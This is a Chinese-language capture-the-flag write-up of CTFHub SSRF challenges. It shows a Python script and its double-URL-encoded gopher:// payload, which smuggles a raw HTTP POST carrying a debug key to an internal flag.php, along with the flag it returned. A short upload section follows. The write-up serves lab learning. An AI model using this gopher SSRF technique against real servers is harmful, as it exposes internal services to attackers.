CTFHUB SSRF POST请求和上传文件
POST请求
进去 根据之前的题目,使用hackbar http://challenge-d20f90f7c40a19fa.sandbox.ctfhub.com:10080/?url=127.0.0.1/flag.php
查看源代码 <!-- Debug: key=4e6c2c20c0c4091ad92a63e1ea817ce6-->
访问时要有key
先前提示这题需要使用php的curl实现
理所当然联想到Gopher协议(也就是看大佬的wp)
Gopher协议在ssrf中的应用:https://zhuanlan.zhihu.com/p/112055947
burpsuite抓包
构造Gopher数据
首先记住php接受数据的时候会对数据进行一次unicode解码
所以构造的数据要进行二次编码
构造的Gopher数据
Host:127.0.0.1:80
Content-Length:36 //此处的长度为key=f91b51e0743019e5e94095c9960e757b的长度
Content-Type:application/x-www-form-urlencoded
key=f91b51e0743019e5e94095c9960e757b //后面需要接一个回车表示结束
对其进行二次编码
注意,第一次编码时,换行符在某些编码中会为%0A,需要将其替换为%0D%0A
自己试了很多次,第一次成功后面就不行了,最后找了一个脚本才再次成功
import urllib.parse payload =\ """POST /flag.php HTTP/1.1 Host:127.0.0.1:80 Content-Length:36 Content-Type:application/x-www-form-urlencoded key=f91b51e0743019e5e94095c9960e757b """ #注意后面一定要有回车,回车结尾表示http请求结束 tmp = urllib.parse.quote(payload) new = tmp.replace('%0A','%0D%0A') result = 'gopher://127.0.0.1:80/'+'_'+new result = urllib.parse.quote(result) print(result) # 这里因为是GET请求所以要进行两次url编码
gopher%3A//127.0.0.1%3A80/_POST%2520/flag.php%2520HTTP/1.1%250D%250AHost%253A127.0.0.1%253A80%250D%250AContent-Length%253A36%250D%250AContent-Type%253Aapplication/x-www-form-urlencoded%250D%250A%250D%250Akey%253Df91b51e0743019e5e94095c9960e757b%250D%250A
通过burpsuite得到flag:ctfhub{5061fd8d8622a432e6116956}
借鉴的wp:https://blog.csdn.net/qq_33295410/article/details/108619685 https://blog.csdn.net/rfrder/article/details/108589988
最后复现发现问题解决的博客:https://www.freebuf.com/articles/web/258365.html
这题真是把我折磨的够呛,除了第一次不知道怎么编码弄正确之后后面复现怎么都不对
得学一学用python写脚本了
上传文件
访问flag.php
要上传文件给flag.php 又需要使用gopher协议并用gopher将文件传递给flag.php
首先给这个文件上传添加一个按钮
抓包
把host改为127.0.0.1
然后和上一题一样把抓到的包二次解码并用gopher协议传给flag.php
不过我这题好像环境有点问题。。。